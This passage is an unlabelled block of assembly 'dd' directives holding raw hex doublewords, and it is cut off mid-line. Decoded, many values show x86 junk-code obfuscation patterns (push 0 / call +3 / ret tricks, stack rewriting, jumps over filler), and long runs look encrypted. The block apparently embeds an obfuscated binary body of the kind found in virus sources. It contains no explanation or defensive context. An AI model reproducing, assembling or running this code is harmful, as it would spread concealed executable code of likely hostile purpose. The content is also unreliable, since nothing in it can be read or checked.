0AD061310h, 0E8D1C233h dd 0E983D003h, 89F47504h, 131D859Dh, 0A850F06h, 60000000h dd 4046BA66h, 4E52BA66h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 4777191Ch, 9367AF16h dd 659D33F8h, 0D061325h, 88h, 10E8h, 0C188900h, 958815BEh dd 0D7BDF4C3h, 0C4F2D964h, 0DA8B6670h, 0BD958B5Bh, 8906131Bh dd 131B4585h, 0DD8D8B06h, 6A061318h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 9771C351h dd 0E95D563h, 66408D98h, 387CC781h, 0C28B50F5h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6698EF81h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A0C35545h, 7E045FCh dd 0BD83BDC0h, 6131D1Dh, 66840F00h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 25E2C353h, 0E81835FAh, 721ABF25h, 0BB660D3Dh, 0B8825Ch dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 43FCC351h, 533EE39Ch, 8130D6E8h dd 0E0EEDFC3h, 8D8D8D06h, 0FF06134Fh, 2BBB66E1h, 55BD8341h dd 61330h, 44B840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 4A1EEDC3h, 0BFE176D4h dd 1DBF6643h, 11E9E5h, 10E0000h, 7D0312B8h, 0DE4B29E3h dd 65667A45h, 0E963688Fh, 0Bh, 3E1106ABh, 3E936DF1h, 8328C903h dd 133055BDh, 840F0106h, 40Ch, 8E9h, 56C3EF00h, 2FE09D9Ah dd 55BD83D0h, 3061330h, 3BC860Fh, 0EE90000h, 48000000h dd 0F2D5EEB1h, 4DF79888h, 0BDD876BDh, 0BF666053h, 8C6619F3h dd 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 63F092B6h, 0D880FFCh, 0E9000000h, 8, 0B688205Ah dd 53093624h, 8B04E180h, 132B819Dh, 0FC90A06h, 13884h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 51086A49h, 6860F71h, 89000000h, 131DED95h dd 0B9858B06h, 6A06132Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 7FD9C352h, 44D4D012h dd 59C32830h, 5B98533h, 6A0613h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0F796F1C3h, 8EE6F70Bh dd 81BF6659h, 9E95019h, 0E0000000h, 5A9FBD6Ch, 39975704h dd 7E9905Bh, 0EF000000h, 1A8292E8h, 9050D872h, 9FB8B66h dd 13320DBDh, 0B3006A06h, 8E81687Ch, 6CBFA582h, 8179C12Ch dd 757E2404h, 6A5A9Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 5F0A53C3h, 866D22E8h, 35BB7421h dd 0FF00D089h, 130A3D95h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0F843B888h dd 5485894Fh, 8B0616C4h, 130EADBDh, 0B810F06h, 0E9000000h dd 6, 9860F9A6h, 0A8E9565Fh, 31000001h, 13237985h, 4C858B06h dd 290616C4h, 1325FD8Dh, 1800C706h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 616EC351h, 3A5ADD35h, 0E137422Eh, 0C450B58Bh, 0BF0F0616h dd 55858BDAh, 8906132Ah, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 8D24101h, 3830Fh, 8B660000h dd 0B9858BF8h, 6A06132Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0A1F9C350h, 89F947B7h dd 0BD330446h, 61324F9h, 0D1B66050h, 24348961h, 0B5FFF88Bh dd 616C44Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0D8C35747h, 8E896h, 0F01C0000h, 0D5E8A88Dh, 9D233ECCh dd 613177Dh, 0B8BCBF5Fh, 9589309Dh, 61309A1h, 0B1971968h dd 0DE8B660Fh, 0E6243481h, 8D0FAE94h, 16C45485h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 6E98D91Ah, 60507508h, 11E8h, 49A38400h, 1DA23BBFh, 695F9167h dd 2DA00307h, 11E82AB3h, 0FF000000h, 5BF03AFCh, 51B2CCA9h dd 0C40E09DBh, 2E818A0Ch, 0BE665A58h, 89615E07h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0F7BC83C3h, 3AD99C61h, 820FA42Bh, 6, 207D8501h, 95FF0613h dd 6130A3Dh, 0D870Fh, 8E90000h, 0D5000000h, 9F9BB7D5h dd 618B9368h, 3109BD8Bh, 9D8B0613h, 613259Dh, 305585C7h dd 30613h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 5A8252C3h, 54BD8309h, 616C4h, 40840Fh dd 880F0000h, 6, 0EB5BD29h, 4AE90613h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0FF0C353h, 78Bh, 1890F00h, 0F5000000h, 0FF18589h, 30500613h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 501CBBC0h, 0BD01330Bh, 6133029h, 3055BD83h, 0F030613h dd 46285h, 12E900h, 7C790000h, 0E39DEFBDh, 7B858609h, 6FBDFCB8h dd 0F33985ACh, 0C454BD83h, 0F000616h, 43E84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 3A239568h, 0B5FF547Dh, 616C454h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0AEC35242h, 0D869961Bh, 66F62536h dd 14E9h, 0B1CAF700h, 0E433BDF8h, 9489BFE7h, 98192714h dd 0AEF0A7AEh, 6995FF8Fh, 0F061309h, 68Ah, 71858900h, 8B06131Dh dd 16C448B5h, 59D2906h, 0C7061323h, 1000106h, 25BD8B00h dd 9606132Ch, 9E8h, 84E1AD00h, 1E77AA86h, 8B66E36Ch, 8B505FDAh dd 9D8B96DFh, 613301Dh dd 0C454B5FFh, 9D890616h, 6131729h, 322995FFh, 6A0613h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 92E231C3h, 809F6644h, 0B58B46C7h, 616C448h, 0D6C38166h dd 31858B8Bh, 6A061306h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0BD92C357h, 7BED3E55h dd 91F47700h, 919BD8Bh, 8D890613h, 613012Dh, 0EE8h, 0FA150000h dd 44C96785h, 0EE92FC97h, 897BBD70h, 131E319Dh, 86895F06h dd 0C4h, 0DE9h, 3C2E0C00h, 8864E881h, 23EB6A2Ah, 9D09B130h dd 61314ADh, 1BBD958Bh, 6A0613h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0C2839EC3h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0F41F6E79h, 57648579h, 9D33C577h, 61329A1h, 23B98589h dd 50890613h, 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 89680FFCh, 130D1D95h, 0E3858D06h dd 800616D8h, 9D891CDFh, 6131F7Dh, 0B88689h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0A1530DC3h, 0BC6E8409h, 0CEBB9030h, 6A30AEFCh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 492DC609h, 0B5FFF2D1h, 616C454h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 2AC35141h, 1601BD09h, 95FF0613h dd 6131E95h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 8FC35343h, 501EC012h, 12E8h, 327EB800h, 6F9C6FADh dd 26034DB5h, 967836F5h, 5B1A2A58h, 6A243489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 725DC350h, 0C36345D1h, 0FF76A2AAh, 16C454B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0CE5C9941h, 60523B8Fh, 2605858Bh, 9D8B0613h, 6130F4Dh dd 4BBB6661h, 4595FF6Fh, 8B061321h, 13296DBDh, 95BD8306h dd 61314h, 13840Fh, 0CF810000h, 78B2BD48h, 0E7BF6650h dd 243489A1h, 7A95E7BBh, 54B5FF0Bh, 6A0616C4h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0FAEC351h, 28Dh, 66DDB300h, 0B55CF781h, 5AD95FFh, 81600613h dd 0B7B35AEEh, 0D88B6605h, 54B5FF61h, 6A0616C4h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 6625C351h, 0FE8B66DEh, 120995FFh, 6A0613h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD8314C3h dd 6130511h, 6C840F02h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0ACF8C356h dd 93EA5DDCh, 0E9F1680Dh, 0Ch, 1463486Bh, 66AA1FA4h, 4E6DBAD5h dd 0F55858Bh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 329011C3h, 48D0Fh, 60500000h, 0C65B61h dd 199D8B00h, 0C7061306h, 131E5185h, 6, 0F98D2900h, 0E906130Fh dd 0FFFFF2FFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 94C35242h, 164945BFh, 66C18B44h, 8DF8E4BBh, 18402A8Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0EF056D3Bh, 89C68BF5h, 131BBD8Dh, 13E806h dd 376F0000h, 3315EBE4h, 0D28C1ADCh, 2AC4DCA5h, 0E5087E4Eh dd 148B0F22h, 0E8000000h, 0Eh, 2278A2CCh, 9DEE71Dh, 0C4B1FE4Bh dd 5A5ACE69h, 18DD85C7h, 60240613h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 950667C3h dd 5F5851B1h, 305585C7h, 613h, 0B5FF0000h, 613302Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 21C35545h, 0BE905h dd 0BCC60000h, 26C82F28h, 64ACA07Ch, 6E95Ch, 4DE40000h dd 0A263AE3Ch, 1D8995FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0DA8000C3h, 0FF006A87h dd 130DA995h, 0EBC08B06h, 0DCEB8D7Fh, 5BE4A752h, 0A1BB256Dh dd 3779A661h, 0BEFE2EBEh, 0F6AEB917h, 0F85A6B99h, 0AC72869Ch dd 2320BB1Eh, 0E16C8417h, 91B71BD5h, 24D77DCFh, 0BDFE9F41h dd 0BAE847E9h, 0F714E402h, 83EE3729h, 88D2C16Eh, 9086DAF8h dd 5889DBD1h, 542A8AA7h, 727E2C4h, 5DC38C61h, 0A6A32B77h dd 4A36F75Bh, 0DF5F57FCh, 4A0D1525h, 2499F961h, 5B73FD3h dd 99EECE1h, 9409110Bh, 326BF194h, 0E7D04F8h, 41758D8Dh dd 8D890618h, 6131BBDh, 85C7D68Bh, 61318DDh, 5A14h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 18C35141h, 83DA0F1Eh dd 66B9DD3Ah, 0C7047CBAh, 13305585h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0EF2F45D5h, 0CDEE79FFh, 0BF0F755Fh, 14E9C0h, 0EF880000h dd 0FC568DFEh, 0D0461323h, 37616078h, 890CD9B6h, 0B5FF53ABh dd 6132831h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0D5C35040h, 0F3DCDAAEh, 6E136B20h, 1D8995FFh, 0BD890613h dd 6133101h, 95FF006Ah, 6130DA9h, 2FEBC08Bh, 0D227C7B0h dd 733E83BEh, 9B134694h, 0B9772B0Bh, 0A365C2CEh, 3DD254B8h dd 56AAAF43h, 2BA125B3h, 4326A925h, 0A0D40C8Eh, 98DE54D4h dd 8D5DFA7Dh, 18421F8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0AE7ABDE9h, 7C8214B1h dd 0FBBE567Ch, 8B12698Ah, 0BD8D89FAh, 8006131Bh, 0DEB477E4h dd 18DD85C7h, 71100613h, 9D890000h, 6131361h, 305585C7h dd 613h, 0B5FF0000h, 6132331h, 0BBDBD23h, 95FF0613h, 6131D89h dd 0BF5858Bh, 6A0613h, 0DA995FFh, 0C08B0613h, 0C88F7EEBh dd 78FEE006h, 5FD9FB8Eh, 50329321h, 7B8AAEC5h, 0AB7962D7h dd 57060963h, 190ABD39h, 4116D1A5h, 8FCE5C99h, 34BC523Bh dd 5BF8EF52h, 0A8B04251h, 4581E395h, 3572B953h, 0A465D20h dd 0E545EB74h, 0FFFED19Dh, 0CD9A26BEh, 0C9206153h, 0CC27915Fh dd 25165DF0h, 9831BD16h, 0F7B75156h, 3A0662F2h, 0E15F99C2h dd 0E36EB5C6h, 0F2896510h, 0DECCF514h, 51588380h, 841E9FA1h dd 223E5005h, 14EF5416h, 45EF3DD3h, 86B61E9Dh, 61A3B797h dd 61ABBF63h, 45EF22B7h, 86BE7FD9h, 7136F0B2h, 66D0E16Fh dd 0E472B51Fh, 0CEE92DB8h, 3E22BE0Eh, 53CA83E4h, 30EF38A0h dd 0C452BDD0h, 45E92DC0h, 16BF2702h, 4657FEB0h, 0CCEF3E99h dd 56E2434Bh, 3872B361h, 0BAE92B1Ah, 0C6B7650Ah, 56C3BF51h dd 529B3E70h, 46576D6Bh, 0CCEF3E99h, 56E2434Bh, 2972B361h dd 0BAE92B15h, 0CCB7650Ah, 56CBAB69h, 45E8D770h, 72023E3Bh dd 814D9ECFh, 2F2FB56Eh, 46076B67h, 65EF3EB3h, 0CCB2FD84h dd 0C4EB1A80h, 5CEB1A32h, 0EF3E3Bh, 0A4EDFDC8h, 43C9CC5Dh dd 2F37B201h, 46076FB3h, 65EF3ED9h, 0CCB6FDB5h, 0C4EB1A3Ah dd 5DEB1A7Fh dd 4EF3E9Dh, 384CFD9Fh, 4A3D5124h, 45EF323Bh, 436B31D9h dd 0CCEF3EECh, 56C367CBh, 4AEB963Dh, 45EB0819h, 516331CEh dd 0ACEF3E67h, 45EF3EBCh, 0ABC97479h, 5CAD8E50h, 0A963E29Bh dd 0C6998CA0h, 56FD9B20h, 0C1E03EC8h, 45EF3E6Bh, 4D060800h dd 0C5EF3EDDh, 0D35C6605h, 45C83EC8h, 17EF5439h, 45EF3D75h dd 86B51ECEh, 61BBB73Dh, 61ABBFB7h, 45EF29DDh, 86BD7CECh dd 0AB2E4C9Bh, 5112B308h, 0C062388Eh, 43F94EC2h, 70AAB3EEh dd 951038A0h, 66F68352h, 835538FFh, 0C0A58362h, 0EA6B31FBh dd 2FEF3E9Dh, 460769CEh, 65EF3E67h, 0CCB0FDECh, 0C4EB1AA5h dd 53EB1AA8h, 2EF3E76h, 6E60FD6Ch, 8F6E5806h, 7D6EF068h dd 0BE6E5830h, 45AABBBCh, 0D8643ED9h, 43FC2D6Dh, 4197BF10h dd 0C1E03C39h, 45EF3D0Eh, 45EF2F26h, 0FCEE4F67h, 42BC5553h dd 72B81A04h, 0A72A72B0h, 0F8643628h, 43FC0FB6h, 45E5D6C4h dd 39A33ECEh, 32EC1261h, 0FDBEAF32h, 4102A352h, 23B538FFh dd 257306F7h, 45DFBB34h, 0CE8F3E9Dh, 56C49B7Bh, 3D6F5F61h dd 0C0E0D6B1h, 45EF3EC7h, 6F92B365h, 0C4893865h, 0EEEF3843h dd 45E3BB92h, 0BD643ECEh, 45EC148Eh, 0A46E58B3h, 4551621Ah dd 0CEA93FEDh, 56E1B7E3h, 1255583Dh, 496AB354h, 0CEE928BEh dd 56E25BDAh, 4A3FC1B5h, 45EF3C5Ah, 0C016B5ECh, 996B31B6h dd 17EF3E39h, 45E2D7FDh, 2F33ECEh, 0C2CBF342h, 2245E8F1h dd 0C45917BDh, 8C2D571Bh, 0C4B65F58h, 47D25803h, 6A319Fh dd 0ACEF3ECEh, 45EF3E68h, 1568ECB5h, 6AB3B59h, 4F9F3B88h dd 0C4355C88h, 78893843h, 0C1E044C2h, 45EF3C61h, 0ADB93E0Dh dd 45EF3EB0h, 1B2C60F9h, 41CB4A65h, 41CB7AF7h, 45EF3E22h dd 0DB2C68DBh, 4F3E0FDAh, 8A30BEE2h, 0D9D7BFD5h, 0CB6A31B9h dd 2FEF3EECh, 46076D76h, 65EF3E3Bh, 0CCB4FDC6h, 0C4EB1A92h dd 58EB1A23h, 6EF3EB3h, 0A801FD8Ah, 7D584207h, 3E57EE70h dd 4986B3B0h, 0F866388Eh, 43FC3B8Bh, 0ADED46E7h, 45BCBBBCh dd 0C4893ED9h, 230BC71Eh, 23CFFBCFh, 45E946BAh, 7B6A315Dh dd 13EF3ECEh, 45ECBE68h, 0FAE03EB3h, 65066708h, 2FEF3EEEh dd 46076F76h, 65EF3E3Bh, 0CCB6FDC4h, 0C4EB1A82h, 5FEB1A23h dd 4EF3EB3h, 5949FD88h, 61F8C29h, 0F462B706h, 0CCE92D19h dd 56CC0300h, 44EF80C8h, 45854066h, 45ECD6E5h, 1BCF3ED9h dd 3166602Fh, 16E3A52h, 45F23A1Fh, 13A93E9Dh, 9939620Dh dd 14669C88h, 0CCAD8233h, 56C76F64h, 496AB3EAh, 0CCE92806h dd 56E22FB6h, 0AC3FC19Bh, 45EF3EC6h, 2E106F09h, 1804F223h dd 0C1E0FE5Ch, 45EF3F6Fh, 9304BF10h, 0ADD7BE05h, 456FBB92h dd 45853ECEh, 45ECD635h, 1FCF3EB3h, 1166641Ah, 16E3AC8h dd 45F23A52h, 17AD3E3Bh, 0C36A4D5Eh, 0A46D3DC7h, 23888274h dd 0C53C700Ah, 4A9C3BA1h, 45EF7369h, 85A1776h, 0C5E92D3Dh dd 4ABC39E5h, 45EE704Ah, 13EF5467h, 45EF3D5Bh, 86B11ED9h dd 619BB7B2h, 61ABBF72h, 45EF263Fh, 86B9789Dh, 3D198160h dd 45FBD6B1h, 1A493EB3h, 61482C4Dh, 8706407Dh, 0D8457AD0h dd 9B21A38Bh, 0B36F714Fh, 0C48965E4h, 4AEAB15Fh, 45EFD436h dd 12EF54D9h, 45EF3D04h, 86B01E76h, 6193B764h, 61ABBF99h dd 45EF2ACAh, 86B87967h, 45FDD759h, 0F8E33ED9h, 0E4F82893h dd 82C65953h, 0E5F743ADh, 0CB19A375h, 2DE9464Eh, 4542BB68h dd 45853EB3h, 45ECD689h, 1DCF3EECh, 16666B5h, 16E3A1Fh dd 45F43AB9h, 15AF3ECEh, 79525DA4h, 9134488Dh, 45E4D6F8h dd 71B13EECh, 6F312892h, 3F381D5Bh, 436A318Dh, 0CEEF3ECEh dd 56DD77DAh, 0C48967B5h, 601035A1h, 458EBBE3h, 45853E76h dd 45ECD668h, 1ECF3E9Dh, 1966650Dh, 16E3A43h, 45F93A97h dd 16AC3ED9h, 0E8AC652Fh, 45EF649Fh, 12EF543Bh, 45EF3D75h dd 86B01ECEh, 6193B738h, 61ABBFB7h, 45EF29DDh, 86B879ECh dd 462F33ADh, 543AAB3Ah, 5106388Eh, 18EF3ECEh, 6F261B6Ch dd 2E26FA22h, 0C1EBAF33h, 0BBA8F117h, 0FD7127E3h, 45EF3E3Bh dd 4F86839Eh, 0C86438DDh, 43FC34CEh, 45EF085Ah, 0C4520FD9h dd 0FDE92DE9h, 45EF3E77h, 0ADB93E51h, 45EF3E9Eh, 1B2C60EEh dd 41CB4AEEh, 41CB7A32h, 45EF3EC3h, 7B2C68AAh, 8EAA9794h dd 0D8664460h, 43FC11E0h, 1584D74Eh, 0CC27B501h, 45851AB7h dd 45ECD688h, 1CCF3EECh, 96667B5h, 16E3A1Fh, 45FA3AB9h dd 14AE3ECEh, 0C89624A4h, 5DAD9C0Eh, 1462B3DFh, 0FDE926A4h dd 32896B55h, 52E2BB38h, 8AC4388Eh, 6644EF80h, 0E5458540h dd 0D945ECD6h, 2F1BCF3Eh, 52316660h, 1F016E3Ah, 8345F23Ah dd 0A4F305E9h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0A2E771BAh, 2850Fh, 92B60000h dd 0C00BDCB1h, 70840Fh, 52560000h, 8E0Fh, 59590000h, 4F8DB58Dh dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0B9511AC3h, 56A3AD1Ah, 3B8h, 98D8900h, 0FF061315h dd 53006AE6h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 4103F6C8h, 16F994FCh, 9589ACD9h, 613255Dh dd 1F19958Bh, 0B9400613h, 7454678Ch, 0B966C08Bh, 0F380B72Ah dd 25BD837Ch, 61316h, 0BD830975h, 6132C81h, 50197400h dd 0B8C08B53h, 403h, 31158589h, 9D8D0613h, 615A9E4h, 585BD3FFh dd 2C81BD83h, 74000613h, 0B8535017h, 403h, 31158589h, 9D8D0613h dd 615A685h, 585BD3FFh, 0AFD3BF66h, 0C789EA81h, 0F3815939h dd 50ECD1F8h, 8B66C08Bh, 8D8D61CAh, 6184A5Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F9C35141h, 0E27BD7EAh dd 4AE93644h, 1BBD8D89h, 6A0613h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0FDD214C3h, 0EE90Eh dd 0ABE00000h, 0DDF3E7F8h, 56AED9F8h, 1900BD9Fh, 18DD85C7h dd 6DDC0613h, 9D890000h, 6131FDDh, 305585C7h, 613h, 0DA8B0000h dd 302DB5FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 7176E4C3h, 4626B26Bh, 0D7CB8166h dd 8995FFF4h, 6A06131Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 6948C356h, 2FDD286Ah dd 36A40D77h, 95FF006Ah, 6130DA9h, 7FEBC08Bh, 0A940D5C4h dd 0D375E4Bh, 0E10109E4h, 0B43F5A50h, 28F816A6h, 2FEAE15Bh dd 43E0213Ah, 0CC694260h, 99B79F2h, 5B3892CEh, 5A0EB91h dd 0DB042EA4h, 5C588832h, 5B5B4A5Fh, 0F11C926Ah, 1F8A6A03h dd 82350470h, 1EDC5713h, 6150AEABh, 0D4CC4B07h, 9805FCE0h dd 2703DCCAh, 3D41529Eh, 0BD027DB0h, 2F3949C5h, 0D585E093h dd 9007B027h, 82846DE8h, 0F0735A8Ch, 4A200C3Ah, 521FDCA6h dd 0DEE58F18h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch dd 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 338B37D2h, 0FFB44E60h dd 0F867A5E4h, 0A08B38DAh, 2FABA3BEh, 79672025h, 0C149A3BAh dd 0D71B2020h, 338B39A6h, 831D2933h, 0C0982633h, 0BED2D7B6h dd 0D6157635h, 0AF806CD0h, 50DD963h, 839E3526h, 35982664h dd 1F152359h, 4B806CC0h, 451DAB63h, 39E3E79h, 0B28DB3CCh dd 14932020h, 6AA1A23Ch, 0B0152633h, 9C806CC0h, 4DAACE63h dd 0F6D82633h, 1961A3BEh, 24C8202Bh, 0CCD2D5B6h, 0FF677635h dd 338B37B6h, 1794E2B0h, 55D2D5B6h, 23157635h, 55806CD0h dd 780DD963h, 3D9E3526h, 6A982651h, 6474AD66h, 11CE7464h dd 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h dd 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h, 0E868AD03h dd 5AAD63h, 0A9982C88h, 0D49BCF33h, 896F2633h, 3566A57Dh dd 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh dd 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9C806CD2h, 18EABBEh dd 9320202Bh, 78000000h, 271E7FCh, 0C8D00731h, 4904C783h dd 0FFF2850Fh, 0B58DFFFFh, 6184C16h, 4C358D8Dh, 0CF2B0618h dd 8B05E983h, 5E8C8h, 0DCDE0000h, 894ECDD7h, 13130185h dd 820F5906h, 4, 35E9BB66h, 5D13C181h, 0B5030000h, 613237Dh dd 1711BAh, 9E85000h, 2D000000h, 0EA36D7FFh, 9AE16BBEh dd 1469B589h, 5B5E0613h, 69BB018Bh, 81672681h, 7DAC2EE8h dd 0ADBD8B47h, 8106131Fh, 0A3CAC9C0h, 6890F49h, 8B000000h dd 1330A1BDh, 2DF08106h, 894296D9h, 13232D9Dh, 810F5006h dd 2, 18FDA8Bh, 5E9h, 56F0FF00h, 0E9816E39h, 6441C538h dd 1A0D8589h, 0C1810613h, 6441C534h, 13D5BD8Bh, 0EA810613h dd 1, 14850Fh, 0BD8B0000h, 6130035h, 20E9h, 0C100D500h dd 0D51E7EECh, 0E4B3D822h, 0FFFF7BE9h, 0CDABEFFh, 445E8640h dd 0BA5400A2h, 83E112D6h, 14E8CBh, 0BE4C0000h, 39203155h dd 2E337FC0h, 4A969A59h, 0F70FD15Ch, 0BD8997BAh, 6132C71h dd 0DA8B6658h, 6203C081h, 9D8B0000h, 6132441h, 1852BAh dd 10E900h, 2FEE0000h, 0B29E073Eh, 4E4084BBh, 57A6A7B4h dd 308B73D9h, 0DEEE81F9h, 8053F270h, 0C6810BD9h, 7ED97A69h dd 6850Fh, 8D8B0000h, 6132A45h, 8450EE81h, 7E9279Ch, 88000000h dd 4A5F5C58h, 30895B5Bh, 1D870Fh, 11E80000h, 70000000h dd 0A8BF401Bh, 7F800A2Ah, 61455F3h, 740D4774h, 209DBD8Bh dd 835B0613h, 9D0B04E8h, 6131059h, 9B850F4Ah, 0E9FFFFFFh dd 11h, 205D420Ch, 8F9A98B5h, 0C817857h, 4367DFD1h, 8E859h dd 5FD00000h, 0C6D59A9Eh, 0E1816FE1h, 8E4DE33h, 1995895Bh dd 8106130Bh, 5BC8C3h, 8E86000h, 1F000000h, 2503FAA3h dd 89FDF871h, 132131BDh, 33615806h, 11B589F6h, 0FF061312h dd 58FC1E34h, 0EE9h, 9B7AB800h, 77303930h, 72936124h, 81F27677h dd 96BF40F0h, 0A9958972h, 8106130Eh, 11A55CE8h, 0F8B70F6Ah dd 2AE7C081h, 8F0F265Dh, 4, 93FCB966h, 0B58D8950h, 8F061309h dd 56603304h, 8159C88Ah, 0DD1756CAh, 830F615Eh, 2, 0EE83C88Bh dd 3D29BA02h, 4E4E571Dh, 6830Fh, 0BD0B0000h, 6131F09h dd 0A4F0FE81h, 850FFFFFh, 0FFFFFF83h, 0E9A7F781h, 786C2E90h dd 11EE5327h, 32030127h, 9BDBC27Dh, 93C42573h, 5642563h dd 50300127h, 3708C275h, 436C1547h, 361F940Eh, 73580734h dd 74598D41h, 3B68E2A6h, 966F058Fh, 123000C1h, 91EEB628h dd 11EA49Ah, 96090121h, 12030103h, 128DE847h, 0D3C70127h dd 23A9BB8Eh, 723096Bh, 8F3BA3ACh, 141F049Ah, 13BEE846h dd 878A0127h, 14922B12h, 42138AB7h, 36406A99h, 99569140h dd 5E190EDDh, 1266FF03h, 1205E972h, 4F230127h, 7E085CE4h dd 56410503h, 127A0503h, 47750127h, 96A0F2E4h, 49294C48h dd 120EE947h, 0D36D0127h, 0C87989F5h, 0A74991A1h, 14731E92h dd 99686078h, 3ED882FFh, 2389BCACh, 1A8D0734h, 373684AEh dd 99E70734h, 90CFFD6Fh, 12600127h, 24098041h, 0A59C0ED8h dd 1D0C0127h, 120607A0h, 0D8E48027h, 9182BFA6h, 12AA08E6h dd 1263E975h, 48100127h, 46915BE4h, 568D0503h, 12130503h dd 40410127h, 98EC0DE4h, 0FBF981D9h, 13688428h, 0AC560127h dd 5393C89Fh, 450C6B26h, 120602CFh, 0D15C2127h, 36FD8878h dd 36848023h, 12601B23h, 0D1674627h, 0DD8B8D36h, 99BE1C68h dd 1187C92h, 0F4FABF21h, 0DA82750Bh, 12C00BCEh, 0A53FFE27h dd 9D25EE82h, 936A55BFh, 743927C8h, 17C7826Bh, 9388C2A7h dd 51CA911Eh, 0B9450EACh, 78600127h, 11D85427h, 32180127h dd 9B51C27Ah, 9302254Bh, 9072563h, 57810127h, 9803C272h dd 0C8BB2D59h, 9FBD3B20h, 140B4EAAh, 0FA5A014Dh, 12060124h dd 4CC05F07h, 16A575AEh, 16E445A6h, 1260013Bh, 16F35761h dd 9E1A53FEh, 0A2CAA3FDh, 120608CEh, 3A334527h, 